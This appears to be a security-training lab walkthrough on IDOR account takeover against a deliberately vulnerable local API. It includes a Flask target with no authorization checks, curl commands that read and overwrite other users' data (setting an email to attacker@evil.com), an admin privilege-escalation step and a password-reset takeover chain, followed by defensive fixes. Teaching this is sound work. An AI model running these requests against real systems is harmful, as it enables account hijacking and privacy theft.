IDOR Account Takeover
Tamper with an object ID in an API request to read and modify another user's account - a textbook IDOR.
↳ Based on the lesson: IDOR & Broken Access ControlLegal Use Only
Insecure Direct Object Reference testing must only be performed on applications you own or have explicit written authorization to test. Reading or modifying another user's data on a production system without consent is illegal under computer fraud and privacy laws. This lab runs on your own VM with simulated users only.
The API returns user data based on an ID you supply in the URL. The server never checks whether that ID actually belongs to you.
Scenario
You've registered an account on a vulnerable REST API application running in your lab. While browsing your own profile at /api/users/3, you notice the integer 3 in the URL. What happens if you change it to 2? Or 1? This lab walks you through reading another user's private data and then escalating to modifying it - the two stages of an IDOR account takeover.
Setup:
# Option A: crAPI (Completely Ridiculous API) - purpose-built IDOR lab
$ docker pull crapi/crapi:latest
$ curl -o docker-compose.yml \
https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.yml
$ docker-compose up -d
# Access at http://localhost:8888
# Register two accounts: alice@lab.local and bob@lab.local
# Option B: DVWA (user management section)
$ docker run -d -p 8080:80 vulnerables/web-dvwa
# Option C: Write a minimal Flask target - see the Walkthrough for an inline scriptYour Objective
- Identify an API endpoint that accepts a user/object ID parameter
- Enumerate IDs to find another user's account record
- Read that user's private data (email, address, or profile fields)
- Escalate: modify that user's data using a PUT/PATCH request with your own session token
- Capture the flag: the other user's private email address
Hints
Hint 1 - find the ID in the request
Use your browser's DevTools (Network tab) or a proxy like Burp Suite while navigating your own profile. Look for numeric IDs, GUIDs, or any object reference in the URL path or request body. These are your injection points.
Hint 2 - increment and decrement
If your account is ID 3, try 1 and 2 first. If the app was built with auto-increment IDs, those accounts almost certainly exist. A 200 response with different user data is your IDOR proof.
Hint 3 - replay your auth token against other IDs
The vulnerability is that the server uses the supplied ID directly without checking the session. Your valid session token (JWT or cookie) still authenticates the request - only the object ID changes. Copy the full request from Burp/DevTools and replay it with a modified ID using curl.
Walkthrough
Step 0: Spin up a minimal vulnerable target (optional)
If you don't have crAPI, run this self-contained Python target in one terminal. It simulates two users with private profile data:
# Install flask if needed
$ pip3 install flask --quiet
# Save and run the target server
$ python3 - << 'EOF'
from flask import Flask, request, jsonify
app = Flask(__name__)
USERS = {
1: {"id": 1, "name": "Alice Admin", "email": "alice@corp.internal", "role": "admin"},
2: {"id": 2, "name": "Bob User", "email": "bob@corp.internal", "role": "user"},
3: {"id": 3, "name": "You", "email": "you@lab.local", "role": "user"},
}
@app.route("/api/users/<int:uid>", methods=["GET","PUT"])
def user(uid):
if request.method == "GET":
return jsonify(USERS.get(uid, {})), (200 if uid in USERS else 404)
data = request.get_json(silent=True) or {}
USERS[uid].update(data)
return jsonify(USERS[uid])
app.run(port=5000)
EOFStep 1: Authenticate and find your own user ID
Log in to the application and navigate to your profile page. Intercept the traffic with Burp Suite or watch the Network tab in DevTools.
Note the request made for your profile:
GET /api/users/3 HTTP/1.1
Host: localhost:5000
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoieW91In0.YOURTOKENHEREThe 3 is your user ID. The server is expected to verify that ID 3 matches the authenticated user - but it doesn't.
Step 2: Read another user's data (horizontal IDOR)
Change the ID from 3 to 1 while keeping your own valid session token:
$ curl -s http://localhost:5000/api/users/1 \
-H "Authorization: Bearer YOURTOKEN" | python3 -m json.toolExpected response:
{
"id": 1,
"name": "Alice Admin",
"email": "alice@corp.internal",
"role": "admin"
}You are authenticated as user 3 (You), but the server returned user 1's (Alice's) private data including her internal email address and role - without any authorization check.
Step 3: Enumerate the ID range
Automate enumeration to find all valid user IDs:
IDs 1-3 exist. You now have a full map of accounts accessible without authorization.
Step 4: Modify another user's data (write IDOR)
Use a PUT request with your session token but a different user's ID to overwrite their data:
$ curl -s -X PUT http://localhost:5000/api/users/2 \
-H "Authorization: Bearer YOURTOKEN" \
-H "Content-Type: application/json" \
-d '{"email": "attacker@evil.com"}' | python3 -m json.toolResponse:
{
"id": 2,
"name": "Bob User",
"email": "attacker@evil.com",
"role": "user"
}You have modified Bob's email address using your own token. On a real application, this enables password reset email hijacking - trigger "forgot password" for Bob, which now arrives at your address, and take over his account.
Step 5: Vertical IDOR - read an admin account
Going further: user ID 1 is an admin. Access their full profile including role and any privileged fields:
$ curl -s http://localhost:5000/api/users/1 \
-H "Authorization: Bearer YOURTOKEN"
# {"id":1,"name":"Alice Admin","email":"alice@corp.internal","role":"admin"}
# Now attempt to elevate your own role:
$ curl -s -X PUT http://localhost:5000/api/users/3 \
-H "Authorization: Bearer YOURTOKEN" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}'
# If the server applies this update, you have vertical privilege escalationSolution
The core IDOR:
GET /api/users/1 HTTP/1.1
Authorization: Bearer <YOUR_VALID_TOKEN>Swap 1 for any valid user ID. Your authentication token remains valid - only the object being accessed changes. The server never verifies that the requested resource belongs to the authenticated user.
Account takeover chain:
- Read victim's email:
GET /api/users/2 - Overwrite victim's email:
PUT /api/users/2with{"email":"attacker@evil.com"} - Trigger password reset for victim's username
- Reset link arrives at attacker-controlled email
- Full account takeover, no password cracking required
Defend It
The fix: server-side authorization checks
Every request that accesses an object by ID must verify that the authenticated user is authorized to access that specific object - not just that they are logged in.
Correct pattern (pseudocode):
# Vulnerable - uses ID directly from request:
# user = db.get_user(request.path_param("id"))
# return user
# Safe - always scope to the authenticated principal:
# requesting_user = auth.get_current_user(request)
# target_user = db.get_user(request.path_param("id"))
# if target_user.id != requesting_user.id and not requesting_user.is_admin:
# return 403 Forbidden
# return target_userAdditional hardening:
- Use UUIDs instead of sequential integers - GUIDs are hard to guess and enumerate (
/api/users/a3f7c1b2-...vs/api/users/3). This is defence in depth, not a fix - authorization checks are still required. - Return 403, not 404, for unauthorized access - returning 404 for unauthorized IDs leaks information about which IDs exist. Return 403 Forbidden consistently.
- Audit logs - log every object access with the requesting user's identity. Spikes in cross-user ID access are a detection signal.
- Automated IDOR scanning - tools like Autorize (Burp extension) automatically replay requests with different user tokens to surface IDOR issues during testing.